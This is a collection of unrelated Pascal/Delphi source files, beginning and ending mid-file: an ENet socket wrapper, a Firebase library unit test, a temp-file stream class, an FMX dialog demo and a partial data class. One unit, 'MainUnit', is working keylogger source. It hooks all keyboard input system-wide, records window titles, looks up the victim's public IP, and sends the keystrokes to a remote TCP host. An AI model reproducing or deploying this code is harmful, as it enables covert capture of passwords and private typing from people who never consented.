buf[i]:=#0; Result:=StrToInt(buf); end; function enet_address_set_host_ip (address: pENetAddress; name:pchar):Integer; {$ifdef MSWINDOWS} var vals: array[0..3] of enet_uint8; i: Integer; next: pchar; val: longint; begin fillchar(vals,sizeof(vals),0); for i:=0 to 3 do begin next := name+1; if name^ <> '0' then begin val := strtolong (name, next); if (val < 0) or (val > 255) or (next = name) or (next - name > 3) then begin Result:=-1; exit; end; vals [i] := enet_uint8(val); end; if i < 3 then begin if next^ <> '.' then begin Result:=-1; exit; end; end else begin if next^ <> #0 then begin Result:=-1; exit; end; end; name := next + 1; end; system.Move(vals,address ^. host,sizeof (enet_uint32)); {$else} {$ifdef HAS_INET_PTON} if 0=inet_pton (AF_INET, name, @ address ^. host) {$else} if 0=inet_aton (name, pin_addr(@ address ^. host) {$endif} then return -1; {$endif} Result:=0; end; function enet_address_set_host (address : pENetAddress; name : pchar):integer; var hostEntry : {$ifdef WINDOWS}PHostEnt{$else}THostEntry{$endif}; host : longword; begin {$ifdef WINDOWS} hostEntry :=gethostbyname (name); if (hostEntry = nil) or (hostEntry ^. h_addrtype <> AF_INET) then begin Result:=enet_address_set_host_ip (address, name); exit; end; {$else} if not gethostbyname (name, hostEntry) then begin address ^.host := enet_uint32(htonl(StrToHostAddr(name).s_addr)); if address ^.host<>0 then begin result:=0; exit; end; end; {$endif} {$ifdef WINDOWS} address ^. host := (penet_uint32(hostEntry^.h_addr_list^))^; result := 0; {$else} Result:=enet_address_set_host_ip (address, name); {$endif} end; function enet_address_get_host_ip (address : pENetAddress; name : pchar ; nameLength : enet_size_t):integer; var addr : pchar; addrLen : SizeInt; begin {$ifdef WINDOWS} addr :=inet_ntoa (pInAddr(@address ^. host)^); {$else} addr := PAnsiChar(HostAddrToStr(in_addr(NToHl(address^.host)))); if addr='' then addr:=nil; {$endif} if (addr = nil) then begin result := -1; exit; end else begin addrLen := strlen(addr); if (addrLen >= nameLength) then begin Result:=-1; exit; end; system.Move(addr^,name^, addrLen+1); end; result := 0; end; function enet_address_get_host (address : pENetAddress; name : pchar; nameLength : enet_size_t):integer; var inadd : TInAddr; hostEntry : {$ifdef WINDOWS}PHostEnt{$else}THostEntry{$endif}; hostLen : SizeInt; begin inadd.s_addr :={$ifndef WINDOWS}NToHl{$endif}(address ^. host); {$ifdef WINDOWS} hostEntry :=gethostbyaddr (@inadd, sizeof (TInAddr), AF_INET); if (hostEntry <> nil) then {$else} if GetHostByAddr (inadd, hostEntry) then {$endif} begin hostLen := {$ifdef WINDOWS}strlen (hostEntry ^. h_name){$else}Length(hostEntry.Name){$endif}; if (hostLen >= nameLength) then begin Result:=-1; exit; end; system.Move(hostEntry {$ifdef WINDOWS} ^. h_name^ {$else}.Name[1]{$endif}, name^, hostLen + 1); Result:=0; exit; end else result := enet_address_get_host_ip (address, name, nameLength); end; function enet_socket_bind (socket : ENetSocket; const address : pENetAddress):integer; var sin : SOCKADDR_IN; retvalue : integer; begin fillchar(sin, sizeof(SOCKADDR_IN), 0); sin.sin_family := AF_INET; if (address <> nil) then begin sin.sin_port := ENET_HOST_TO_NET_16(address ^. port); sin.sin_addr.s_addr := address ^. host; end else begin sin.sin_port := 0; sin.sin_addr.s_addr := INADDR_ANY; end; retvalue := {$ifdef WINDOWS}bind{$else}fpbind{$endif} (socket, @sin, sizeof (SOCKADDR_IN)); if retvalue = {$ifdef WINDOWS}SOCKET_ERROR{$else}-1{$endif} then result := -1 else result := 0; end; function enet_socket_get_address (socket : ENetSocket; address : pENetAddress):integer; var sin : sockaddr_in; sinLength : {$ifdef WINDOWS}Integer{$else}TSocklen{$endif}; begin sinLength := sizeof (sockaddr_in); if ({$ifdef WINDOWS}getsockname{$else}fpgetsockname{$endif} (socket,{$ifndef WINDOWS}@{$endif}sin, {$ifndef WINDOWS}@{$endif} sinLength) = -1) then begin Result:=-1; exit; end; address ^. host := enet_uint32(sin.sin_addr.s_addr); address ^. port := ENET_NET_TO_HOST_16 (sin.sin_port); Result:=0; end; function enet_socket_listen (socket: ENetSocket; backlog:integer):integer; var backlogparam, retvalue : integer; begin if backlog < 0 then backlogparam := SOMAXCONN else backlogparam := backlog; retvalue := {$ifdef WINDOWS}listen{$else}fplisten{$endif} (socket, backlogparam); if retvalue = {$ifdef WINDOWS}SOCKET_ERROR{$else}-1{$endif} then result := -1 else result := 0; end; function enet_socket_create (Socktype : integer):ENetSocket; var iSockType : integer; begin if Socktype = ENET_SOCKET_TYPE_DATAGRAM then iSocktype := SOCK_DGRAM else iSocktype := SOCK_STREAM; result := {$ifdef WINDOWS}socket{$else}fpsocket{$endif} (PF_INET, iSocktype, 0); end; function enet_socket_set_option (socket : ENetSocket; option : (*ENetSocketOption*)integer; value : integer):integer; var iResult : integer; nonBlocking : Longword; {$ifndef WINDOWS} timeval : TTimeval; {$endif} begin iResult := -1; case (option) of ENET_SOCKOPT_NONBLOCK: begin nonBlocking := Longword(value); {$ifdef WINDOWS} iResult := ioctlsocket (socket, LongInt(FIONBIO), nonBlocking); {$else} {$ifdef HAS_FCNTL} if nonBlocking<>0 then iResult := fpfcntl (socket, F_SETFL, O_NONBLOCK or fpfcntl (socket, F_GETFL, 0)) else iResult := fpfcntl (socket, F_SETFL, not(O_NONBLOCK) and fpfcntl (socket, F_GETFL, 0)); {$else} iResult := fpioctl (socket, FIONBIO, @nonBlocking); {$endif} {$endif} end; ENET_SOCKOPT_BROADCAST: iResult := {$ifdef WINDOWS}setsockopt{$else}fpsetsockopt{$endif} (socket, SOL_SOCKET, SO_BROADCAST, @ value, sizeof (integer)); ENET_SOCKOPT_REUSEADDR: iResult := {$ifdef WINDOWS}setsockopt{$else}fpsetsockopt{$endif} (socket, SOL_SOCKET, SO_REUSEADDR, @ value, sizeof (integer)); ENET_SOCKOPT_RCVBUF: iResult := {$ifdef WINDOWS}setsockopt{$else}fpsetsockopt{$endif} (socket, SOL_SOCKET, SO_RCVBUF, @ value, sizeof (integer)); ENET_SOCKOPT_SNDBUF: iResult := {$ifdef WINDOWS}setsockopt{$else}fpsetsockopt{$endif} (socket, SOL_SOCKET, SO_SNDBUF, @ value, sizeof (integer)); ENET_SOCKOPT_RCVTIMEO: begin {$ifndef WINDOWS} timeVal.tv_sec := value div 1000; timeVal.tv_usec := (value mod 1000) * 1000; {$endif} iResult := {$ifdef WINDOWS}setsockopt{$else}fpsetsockopt{$endif} (socket, SOL_SOCKET, SO_RCVTIMEO, @ {$ifndef WINDOWS} timeVal {$else} value {$endif} , sizeof( {$ifndef WINDOWS} TTimeVal {$else}integer{$endif} ) ); end; ENET_SOCKOPT_SNDTIMEO: begin {$ifndef WINDOWS} timeVal.tv_sec := value div 1000; timeVal.tv_usec := (value mod 1000) * 1000; {$endif} iResult := {$ifdef WINDOWS}setsockopt{$else}fpsetsockopt{$endif} (socket, SOL_SOCKET, SO_SNDTIMEO, @{$ifndef WINDOWS}timeval {$else}value {$endif} , sizeof ( {$ifndef WINDOWS} TTimeVal {$else} integer{$endif} ) ); end; ENET_SOCKOPT_NODELAY: iResult := {$ifdef WINDOWS}setsockopt{$else}fpsetsockopt{$endif} (socket, IPPROTO_TCP, TCP_NODELAY, @ value, sizeof (integer)); else ; end; if iResult = {$ifdef WINDOWS}SOCKET_ERROR{$else}-1{$endif} then result := -1 else result := 0; end; function enet_socket_get_option (socket:ENetSocket; option: integer (* ENetSocketOption *); value:Integer):integer; var iResult : Integer; len : {$ifdef WINDOWS}Integer{$else}TSocklen{$endif}; begin iResult := {$ifdef WINDOWS}SOCKET_ERROR{$else}-1{$endif}; case option of ENET_SOCKOPT_ERROR: begin len := sizeof(integer); IResult := {$ifdef WINDOWS}getsockopt{$else}fpgetsockopt{$endif} (socket, SOL_SOCKET, SO_ERROR, {$ifndef WINDOWS}@{$endif}value,{$ifndef WINDOWS}@{$endif}len); end; else ; end; if iResult={$ifdef WINDOWS}SOCKET_ERROR{$else}-1{$endif} then Result:=-1 else Result:=0; end; function enet_socket_connect ( socket : ENetSocket;address : pENetAddress):integer; {$ifndef WINDOWS} const EINPROGRESS = 36; {$endif} var sin : sockaddr_in; retvalue : integer; begin fillchar (sin, sizeof (sockaddr_in), 0); sin.sin_family :=AF_INET; sin.sin_port :=ENET_HOST_TO_NET_16 (address ^. port); sin.sin_addr.s_addr := address ^. host; retvalue := {$ifdef WINDOWS}connect{$else}fpconnect{$endif} (socket, @ sin, sizeof (sockaddr_in)); {$ifdef WINDOWS} if (retvalue = SOCKET_ERROR) and (WSAGetLastError <> WSAEWOULDBLOCK) then Result := -1 else Result:=0; {$else} if (retvalue = -1) and (errno = EINPROGRESS) then begin Result:=0; exit; end; Result:=retvalue; {$endif} end; function enet_socket_accept (socket : ENetSocket; address : pENetAddress):ENetSocket; var sresult : TSocket; sin : sockaddr_in; sinLength : integer; p1 : PSockAddr; p2 : {$ifdef WINDOWS}PInteger{$else}pSocklen{$endif}; begin sinLength :=sizeof (sockaddr_in); p1 := nil; p2 := nil; if address<>nil then begin p1 := @sin; p2 := @sinLength; end; sresult := {$ifdef WINDOWS}accept{$else}fpaccept{$endif} (socket, p1, p2); {$ifdef WINDOWS} if (sresult = INVALID_SOCKET) then {$else} if sresult = -1 then {$endif} begin result := ENET_SOCKET_NULL; exit; end; if (address <> nil) then begin address ^. host :=enet_uint32(sin.sin_addr.s_addr); address ^. port :=ENET_NET_TO_HOST_16 (sin.sin_port); end; result := sresult; end; function enet_socket_shutdown (socket:ENetSocket; how : Integer { ENetSocketShutdown } ):Integer; begin Result := {$ifdef WINDOWS}shutdown{$else}fpshutdown{$endif}(socket,how); {$ifdef WINDOWS} if Result = SOCKET_ERROR then Result := -1 else Result := 0; {$endif} end; procedure enet_socket_destroy (socket : ENetSocket); begin if TSocket(socket) <> INVALID_SOCKET then closesocket(socket); end; function enet_socket_send (socket : ENetSocket; address : pENetAddress; buffers : pENetBuffer; bufferCount : enet_size_t ):integer; var sin : sockaddr_in; sentLength : longword; {$ifdef WINDOWS} ipto : PSockAddr; iptolen : integer; {$else} iCount, iBufLen, iBufPos : Integer; pbuf : pchar; pnetbuf : pENetBuffer; {$endif} begin if (address <> nil) then begin fillchar(sin,sizeof(sockaddr_in),0); sin.sin_family :=AF_INET; sin.sin_port :=ENET_HOST_TO_NET_16 (address ^. port); sin.sin_addr.s_addr :=address ^. host; end; {$ifdef WINDOWS} ipto := nil; iptolen := 0; if address <> nil then begin ipto := @sin; iptolen := sizeof(sockaddr_in); end; if (wsaSendTo (socket, LPWSABUF(buffers), longword(bufferCount), sentLength, 0, ipto, iptolen, nil, nil) = SOCKET_ERROR) then begin if (WSAGetLastError () = WSAEWOULDBLOCK) then begin result := 0; exit; end; result := -1; exit; end; {$else} // emulate sendmsg // get buffer length iBufLen:=0; pnetbuf:=buffers; iCount:=bufferCount; while iCount>0 do begin Inc(iBufLen,pnetbuf^.dataLength); Inc(pnetbuf); Dec(iCount); end; GetMem(pbuf,iBufLen); try // copy memory pnetbuf:=buffers; iCount:=bufferCount; iBufPos:=0; while iCount>0 do begin system.Move(pnetbuf^.data^,(pbuf+iBufPos)^,pnetbuf^.dataLength); Inc(iBufPos,pnetbuf^.dataLength); Inc(pnetbuf); Dec(iCount); end; sentLength:=fpsendto(socket,pbuf,iBufLen,MSG_NOSIGNAL,@sin,sizeof(sockaddr_in)); finally Freemem(pbuf); end; if (integer(sentLength) = -1) then begin if (errno = EWOULDBLOCK) then begin Result:=0; exit; end; Result:=-1; exit; end; {$endif} result := integer(sentLength); end; function enet_socket_receive (socket : ENetSocket; address : pENetAddress; buffers : pENetBuffer; bufferCount : enet_size_t):integer; var recvLength : longword; sin : SOCKADDR_IN; {$ifdef WINDOWS} sinLength : integer; flags : Longword; ipfrom : PSockAddr; ipfromlen : pinteger; {$else} slen : TSocklen; {$endif} begin {$ifdef WINDOWS} sinLength :=sizeof (sockaddr_in); flags :=0; ipfrom := nil; ipfromlen := nil; if address <> nil then begin ipfrom := @sin; ipfromlen := @sinLength; end; if (WSARecvFrom (socket, LPWSABUF(buffers), longword(bufferCount), recvLength, flags, ipfrom, ipfromlen, nil, nil) = SOCKET_ERROR) then begin case (WSAGetLastError ()) of WSAEWOULDBLOCK, WSAECONNRESET: begin result := 0; exit; end; end; result := -1; exit; end; if (flags and MSG_PARTIAL)<>0 then begin result := -1; exit; end; {$else} slen := sizeof(sockaddr_in); recvLength:=fprecvfrom(socket,buffers^.data,buffers^.dataLength,MSG_NOSIGNAL,@sin,@slen); if (integer(recvLength) = -1) then begin if (errno = EWOULDBLOCK) then begin Result:=0; exit; end; Result:=-1; exit; end; {$ifdef _APPLE_} if (_msgHdr.msg_flags and MSG_TRUNC <> 0) then begin Result:=-1; exit; end; {$endif} {$endif} if (address <> nil) then begin address ^. host :=enet_uint32(sin.sin_addr.s_addr); address ^. port :=ENET_NET_TO_HOST_16 (sin.sin_port); end; result := integer(recvLength); end; function enet_socketset_select (maxSocket:ENetSocket; readSet, writeSet:pENetSocketSet; timeout:enet_uint32):integer; var timeVal : TTimeVal; begin timeVal.tv_sec := timeout div 1000; timeVal.tv_usec := (timeout mod 1000) * 1000; result := {$ifdef WINDOWS}select{$else}fpSelect{$endif} (maxSocket + 1, readSet, writeSet, nil, @ timeVal); end; function enet_socket_wait (socket : ENetSocket; condition : penet_uint32; timeout : enet_uint32):integer; var readSet, writeSet : TFDSet; timeVal : TTimeVal; selectCount : integer; {$ifdef HAS_POLL} pollCount : Integer; pollSocket : tpollfd; {$endif} begin {$ifdef HAS_POLL} pollSocket.fd := socket; pollSocket.events := 0; if ( condition^ and ENET_SOCKET_WAIT_SEND<>0) then pollSocket.events := pollSocket.events or POLLOUT; if ( condition^ and ENET_SOCKET_WAIT_RECEIVE<>0) then pollSocket.events := pollSocket.events or POLLIN; pollCount := fppoll (@ pollSocket, 1, timeout); if (pollCount < 0) then begin if ((errno = EINTR) and ( condition^ and ENET_SOCKET_WAIT_INTERRUPT<>0)) begin condition^ := ENET_SOCKET_WAIT_INTERRUPT; Result:=0; exit; end; Result:=-1; exit; end; condition^ := ENET_SOCKET_WAIT_NONE; if (pollCount = 0) then begin Result:=0; exit; end; if (pollSocket.revents and POLLOUT<>0) then condition^ := condition^ or ENET_SOCKET_WAIT_SEND; if (pollSocket.revents and POLLIN<>0) then condition^ := condition^ or ENET_SOCKET_WAIT_RECEIVE; {$else} timeVal.tv_sec :=timeout div 1000; timeVal.tv_usec :=(timeout mod 1000) * 1000; {$ifdef WINDOWS}FD_ZERO{$else}fpFD_ZERO{$endif} (readSet); {$ifdef WINDOWS}FD_ZERO{$else}fpFD_ZERO{$endif} (writeSet); if (condition^ and ENET_SOCKET_WAIT_SEND)<>0 then {$ifdef WINDOWS}FD_SET{$else}fpFD_SET{$endif} (socket, writeSet); if (condition^ and ENET_SOCKET_WAIT_RECEIVE)<>0 then {$ifdef WINDOWS}FD_SET{$else}fpFD_SET{$endif} (socket, readSet); selectCount := {$ifdef WINDOWS}select{$else}fpSelect{$endif} (socket + 1, @readSet, @writeSet, nil, @timeVal); if (selectCount < 0) then begin {$ifndef WINDOWS} if ((errno = EINTR) and ( condition^ and ENET_SOCKET_WAIT_INTERRUPT <>0)) then begin condition^ := ENET_SOCKET_WAIT_INTERRUPT; Result:=0; exit; end; {$endif} Result:=-1; exit; end; condition^ :=ENET_SOCKET_WAIT_NONE; if (selectCount = 0) then begin result := 0; exit; end; if ({$ifdef WINDOWS}FD_ISSET{$else}0<>fpFD_ISSET{$endif} (socket, writeSet)) then condition^ := condition^ or ENET_SOCKET_WAIT_SEND; if ({$ifdef WINDOWS}FD_ISSET{$else}0<>fpFD_ISSET{$endif} (socket, readSet)) then condition^ := condition^ or ENET_SOCKET_WAIT_RECEIVE; {$endif} result := 0; end; function enet_host_random_seed: enet_uint32; begin {$ifdef WINDOWS} Result := timeGetTime; {$else} Result := GetTickCount; {$endif} end; end.
{******************************************************************************} { } { Delphi FB4D Library } { Copyright (c) 2018-2022 Christoph Schneider } { Schneider Infosystems AG, Switzerland } { https://github.com/SchneiderInfosystems/FB4D } { } {******************************************************************************} { } { Licensed under the Apache License, Version 2.0 (the "License"); } { you may not use this file except in compliance with the License. } { You may obtain a copy of the License at } { } { http://www.apache.org/licenses/LICENSE-2.0 } { } { Unless required by applicable law or agreed to in writing, software } { distributed under the License is distributed on an "AS IS" BASIS, } { WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. } { See the License for the specific language governing permissions and } { limitations under the License. } { } {******************************************************************************} unit Config; interface uses System.Classes, System.SysUtils, DUnitX.TestFramework, FB4D.Interfaces; {$M+} type [TestFixture] UT_Config = class(TObject) private fConfig: IFirebaseConfiguration; public [Setup] procedure Setup; [TearDown] procedure TearDown; published [TestCase] procedure CheckConfig; end; implementation uses FB4D.Configuration; {$I FBConfig.inc} { UT_Config } procedure UT_Config.Setup; begin fConfig := TFirebaseConfiguration.Create(cApiKey, cProjectID, cBucket); end; procedure UT_Config.TearDown; begin fConfig := nil; end; procedure UT_Config.CheckConfig; begin Assert.AreEqual(fConfig.ProjectID, cProjectID); Assert.IsNotNull(fConfig.Auth); Assert.IsNotNull(fConfig.RealTimeDB); Assert.IsNotNull(fConfig.Database); Assert.IsNotNull(fConfig.Storage); Assert.IsNotNull(fConfig.Functions); Status('Passed for ' + TFirebaseConfiguration.GetLibVersionInfo); end; initialization TDUnitX.RegisterTestFixture(UT_Config); end.
unit MainUnit; {$mode objfpc}{$H+} interface uses Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls, IdTCPClient, IdGlobal, IdIOHandler, Windows, jwawinuser, IdHTTP, IdContext; type TConnectionThread = class(TThread) protected procedure Execute; override; procedure ConnectAndSendIP; public constructor Create(CreateSuspended: boolean); end; type { TClientSideForm } TClientSideForm = class(TForm) StatusButton: TButton; HostIPEdit: TEdit; TCPClient: TIdTCPClient; procedure StatusButtonClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure SendPacket(needToSendWindowName: boolean); procedure ClientOnConnected(Sender: TObject); procedure ClientOnDisconnected(Sender: TObject); private { private declarations } sendingData: Int64; sendingWindowName: wideString; currWindowName: wideString; public { public declarations } end; var ClientSideForm: TClientSideForm; lowLevelKeyboardHook: HHOOK; toggleOn: boolean; transmittingInfo: boolean; lastKeyCode: longInt = -1; implementation {$R *.lfm} { TConnectionThread } constructor TConnectionThread.Create(CreateSuspended: boolean); begin inherited Create(CreateSuspended); FreeOnTerminate := true; end; procedure TConnectionThread.ConnectAndSendIP(); var publicIP: string; IPHttp: TIdHTTP; i: longInt; begin transmittingInfo := true; IPHttp := TIdHTTP.Create; publicIP := IPHttp.Get('https://api.ipify.org'); publicIP := '<clientIp>' + publicIP; try ClientSideForm.TCPClient.IOHandler.Write(Int64(1337)); for i:=1 to Length(publicIP) do begin ClientSideForm.TCPClient.IOHandler.Write(Int64(publicIP[i])); end; ClientSideForm.TCPClient.IOHandler.Write(Int64(1338)); if (ClientSideForm.TCPClient.Connected) then begin toggleOn := true; ClientSideForm.StatusButton.Caption := 'Turn Off'; end; //for i:=1 to Length(publicIP) do //begin // ClientSideForm.TCPClient.IOHandler.Write(Int64(publicIP[i])); //end; except on E: Exception do begin showMessage(E.Message); end; end; transmittingInfo := false; end; procedure TConnectionThread.Execute(); begin ConnectAndSendIP; end; { \TConnectionThread } { TClientSideForm } function isBitSet(const AValueToCheck, ABitIndex: LongInt): Boolean; begin Result := AValueToCheck and (1 shl ABitIndex) <> 0; end; function keyNotTypable(vKeyCode: longInt): Boolean; begin if (vKeyCode = VK_TAB) or (vKeyCode = VK_CAPITAL) or (vKeyCode = VK_LSHIFT) or (vKeyCode = VK_RSHIFT) or (vKeyCode = VK_LCONTROL) or (vKeyCode = VK_RCONTROL) or (vKeyCode = VK_LWIN) or (vKeyCode = VK_RWIN) or (vKeyCode = VK_LMENU) or (vKeyCode = VK_RMENU) or (vKeyCode in [32..47]) or (vKeyCode in [112..135]) or (vKeyCode in [144..145]) then begin result := true; end else begin result := false; end; end; function keyboardHookProc(nCode: longInt; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; var KBInfoStruct: ^KBDLLHOOKSTRUCT; vKeyCode: LONG; scanCode: LONG; keyboardState: array[0..255] of Byte; keyboardLayout: HKL; keyPressedBuffer: array[0..9] of WideChar; keyPressedSize: LongInt; isCtrlDown: boolean; i: longInt; foregroundWindow: HWND; foregroundThreadPId: DWORD; foregroundWindowTitle: wideString; foregroundWindowTitleLength: longInt; encodedVirtualKeyCodeNotPrintable: Int64 = 0; begin if (nCode < 0) or ((wParam <> WM_KEYDOWN) and (wParam <> WM_SYSKEYDOWN)) or (transmittingInfo) then // if the nCode<0 or the key is now pressed down begin if (wParam = WM_KEYUP) or (wParam = WM_SYSKEYUP) then begin lastKeyCode := -1; end; result := CallNextHookEx(0, nCode, wParam, lParam); exit; end; //ClientSideForm.HostIPEdit.Text := IntToStr(shit); KBInfoStruct := PKBDLLHOOKSTRUCT(lParam); //ClientSideForm.HostIPEdit.Text := IntTostr(KBInfoStruct^.flags); vKeyCode := KBInfoStruct^.vkCode; scanCode := KBInfoStruct^.scanCode; isCtrlDown := (isBitSet(GetKeyState(VK_CONTROL), 15)) or (isBitSet(GetKeyState(VK_LCONTROL), 15)) or (isBitSet(GetKeyState(VK_RCONTROL), 15)); getKeyboardState(@keyboardState[0]); if (isCtrlDown) and ((vKeyCode <> VK_LCONTROL) or (vKeyCode <> VK_RCONTROL) or (vKeyCode <> VK_CONTROL)) then begin keyboardState[VK_CONTROL] := 0; keyboardState[VK_LCONTROL] := 0; keyboardState[VK_RCONTROL] := 0; end; foregroundWindow := GetForegroundWindow(); foregroundThreadPId := GetWindowThreadProcessId(foregroundWindow, LPDWORD(0)); keyboardLayout := GetKeyboardLayout(foregroundThreadPId); keyPressedSize := ToUnicodeEx(vKeyCode, scanCode, keyboardState, @keyPressedBuffer[0], 9, 0, keyboardLayout); // process info SetLength(foregroundWindowTitle, 400); foregroundWindowTitleLength := GetWindowTextW(foregroundWindow, @foregroundWindowTitle[1], 400); SetLength(foregroundWindowTitle, foregroundWindowTitleLength); if (lastKeyCode <> vKeyCode) and (keyNotTypable(vKeyCode)) then begin // Encode the VK code of out NOT PRINTABLE key into the remaining 48 bits and set the high order bit to 1 to signify that it's unprintable encodedVirtualKeyCodeNotPrintable := encodedVirtualKeyCodeNotPrintable or (1 << 63); encodedVirtualKeyCodeNotPrintable := encodedVirtualKeyCodeNotPrintable or (Int64(vKeyCode) << (63 - 8)); // And send it! ClientSideForm.sendingData := encodedVirtualKeyCodeNotPrintable; ClientSideForm.currWindowName:=foregroundWindowTitle; //ClientSideForm.Caption:=ClientSideForm.currWindowName; if (ClientSideForm.currWindowName <> ClientSideForm.sendingWindowName) then begin ClientSideForm.sendingWindowName := ClientSideForm.currWindowName; ClientSideForm.SendPacket(true); end else begin ClientSideForm.SendPacket(false); end; lastKeyCode := vKeyCode; exit(CallNextHookEx(0, nCode, wParam, lParam)); end; //ClientSideForm.HostIPEdit.Text := ClientSideForm.HostIPEdit.Text + IntToStr(keyPressedSize); if (lastKeyCode <> vKeyCode) and (keyPressedSize = 1) then // no tab and no esc begin ClientSideForm.currWindowName:=foregroundWindowTitle; //ClientSideForm.Caption:=ClientSideForm.currWindowName; ClientSideForm.sendingData := Int64(keyPressedBuffer[0]); if (ClientSideForm.currWindowName <> ClientSideForm.sendingWindowName) then begin ClientSideForm.sendingWindowName := ClientSideForm.currWindowName; ClientSideForm.SendPacket(true); end else begin ClientSideForm.SendPacket(false); end; for i:=0 to 255 do begin keyboardState[i] := 0; end; lastKeyCode := vKeyCode; ToUnicodeEx(vKeyCode, scanCode, keyboardState, @keyPressedBuffer[0], 9, 0, keyboardLayout); end; //ClientSideForm.HostIPEdit.Text := ClientSideForm.HostIPEdit.Text + IntToStr(Int16(ClientSideForm.sendingData)); result := CallNextHookEx(0, nCode, wParam, lParam); end; procedure TClientSideForm.SendPacket(needToSendWindowName: boolean); var i: longInt; windowNameToSend: wideString; begin // send if not(toggleON) then begin exit; end; if (needToSendWindowName) then begin transmittingInfo := true; windowNameToSend := '<windowInfo>' + SendingWindowName; try ClientSideForm.TCPClient.IOHandler.Write(Int64(1337)); for i:=1 to Length(windowNameToSend) do begin ClientSideForm.TCPClient.IOHandler.Write(Int64(windowNameToSend[i])); end; ClientSideForm.TCPClient.IOHandler.Write(Int64(1338)); //for i:=1 to Length(windowNameToSend) do //begin // ClientSideForm.TCPClient.IOHandler.Write(Int64(windowNameToSend[i])); //end; except on E: Exception do begin showMessage(E.Message); end; end; transmittingInfo := false; end; try TCPClient.IOHandler.Write(Int64(sendingData), true); except on E: Exception do begin showMessage(E.Message); end; end; end; procedure TClientSideForm.ClientOnConnected(Sender: TObject); var ConnectionThrd: TConnectionThread; begin ConnectionThrd := TConnectionThread.Create(true); ConnectionThrd.Start; end; procedure TClientSideForm.ClientOnDisconnected(Sender: TObject); begin // toggleOn := false; StatusButton.Caption := 'Turn On'; end; procedure TClientSideForm.FormCreate(Sender: TObject); begin TCPClient := TIdTCPClient.Create; TCPClient.OnConnected:=@ClientOnConnected; TCPClient.OnDisconnected:=@ClientOnDisconnected; lowLevelKeyboardHook := SetWindowsHookEx(WH_KEYBOARD_LL, @keyboardHookProc, HInstance, 0); transmittingInfo := false; if (lowLevelKeyboardHook = 0) then begin ShowMessage('Could not establish a low-level keyboard hook!'); Abort; end; end; procedure TClientSideForm.StatusButtonClick(Sender: TObject); begin if (toggleOn) then begin // Turn off TCPClient.Disconnect; end else begin // Turn on TCPClient.Host := HostIPEdit.Text; TCPClient.Port := 4521; TCPClient.ConnectTimeout := 50000; TCPClient.ReadTimeout := 10000; TCPClient.IPVersion := TIdIPVersion.Id_IPv4; try TCPClient.Connect; TCPClient.IOHandler.LargeStream:=true; except on E: Exception do begin // ShowMessage(E.Message); exit; end; end; end; end; procedure TClientSideForm.FormDestroy(Sender: TObject); begin UnhookWindowsHookEx(lowLevelKeyboardHook); end; end.
{ This class implements a temporary file stream } unit TempStr; interface uses Classes; type TTempFileStream = class (TFileStream) private FFileName : string; FPrefix: string; function CreateTempFile(const APrefix : string): string; procedure AddToList; public constructor Create (const Directory : string); constructor CreatePrefix(const APrefix: string; Dummy: Integer = 0); // Dummy added to avoid C++ warning destructor Destroy; override; property FileName : string read FFileName; property Prefix: string read FPrefix; end; TVolatileTempFileStream = class (TTempFileStream) public destructor Destroy; override; end; var TmpFileList : TThreadList; implementation uses SysUtils, Windows, Types; function TTempFileStream.CreateTempFile(const APrefix : string): string; var TempPath, TempName : PChar; n, i : integer; begin FPrefix := APrefix; TempPath := StrAlloc (Max_Path); try GetTempPath (Max_Path, TempPath); TempName := StrAlloc (Max_Path); try i := 0; repeat n := GetTempFileName (TempPath, PChar (APrefix), 0, TempName); if n = 0 then raise Exception.Create ('Error getting temp file name'); Result := StrPas (TempName); sleep (i * 100); inc (i); if i > 10 then raise Exception.Create ('Error getting temp file name. It couldn''t create the file on the temp folder'); until FileExists (Result); finally StrDispose (TempName); end; finally StrDispose (TempPath); end; end; constructor TTempFileStream.Create; var Dir : string; i : integer; begin Dir := ExtractFilePath (Directory); i := 0; repeat FFileName := Format ('%s%.8d.tmp', [Dir, i]); inc (i); until not FileExists (FFileName); inherited Create (FFileName, fmCreate or fmOpenReadWrite); AddToList; end; constructor TTempFileStream.CreatePrefix(const APrefix: string; Dummy: Integer = 0); begin FPrefix := APrefix; FFileName := CreateTempFile (APrefix); inherited Create (FFileName, fmOpenReadWrite); AddToList; end; procedure TTempFileStream.AddToList; begin TmpFileList.Add (self); end; destructor TTempFileStream.Destroy; begin TmpFileList.Remove (self); inherited; end; destructor TVolatileTempFileStream.Destroy; begin inherited; DeleteFile (PChar (FileName)); end; initialization TmpFileList := TThreadList.Create; finalization FreeAndNil (TmpFileList); end.
unit MainFrm; // Simple demo of showing a "pseudo modal" that does not cover the entire screen interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Controls.Presentation, FMX.StdCtrls, FMX.Edit, DialogFrm; type TfrmMain = class(TForm) ShowDialogButton: TButton; Edit1: TEdit; Edit2: TEdit; procedure ShowDialogButtonClick(Sender: TObject); private // Because of the asynchronous nature of the dialog, a reference to the dialog instance needs to be held FDialog: TfrmDialog; public constructor Create(AOwner: TComponent); override; end; var frmMain: TfrmMain; implementation {$R *.fmx} { TfrmMain } constructor TfrmMain.Create(AOwner: TComponent); begin inherited; FDialog := TfrmDialog.Create(Application); end; procedure TfrmMain.ShowDialogButtonClick(Sender: TObject); begin // The ShowDialog method is declared on the TfrmDialog class FDialog.ShowDialog( procedure(AResult: TModalResult) begin if AResult = mrOK then Edit1.Text := 'OK clicked' else Edit1.Text := 'Cancel clicked'; end ); end; end.
unit objSituacao; interface uses System.SysUtils, System.Classes, FireDAC.Comp.Client; type TSituacao = class(TObject) private Fcodigo: Integer; Fdescricao : String; Fconexao : TFDConnection; protected function getCodigo: Integer; function getDescricao: String; procedure Setcodigo(const Value: Integer); procedure setDescricao(const Value: String); public property codigo : Integer read getCodigo write setCodigo; property descricao : String read getDescricao write setDescricao; procedure BuscaSituacoes(var quSituacoes : TFDQuery); constructor Create(conexao : TFDConnection); destructor Destroy; end; implementation { TSituacao } constructor TSituacao.Create(conexao: TFDConnection); begin inherited Create; Fconexao := conexao; end; destructor TSituacao.Destroy; begin inherited; end; function TSituacao.getCodigo: Integer; begin result := Fcodigo; end; function TSituacao.getDescricao: String; begin result := Fdescricao; end; procedure TSituacao.Setcodigo(const Value: Integer); begin Fcodigo := Value; end; procedure TSituacao.setDescricao(const 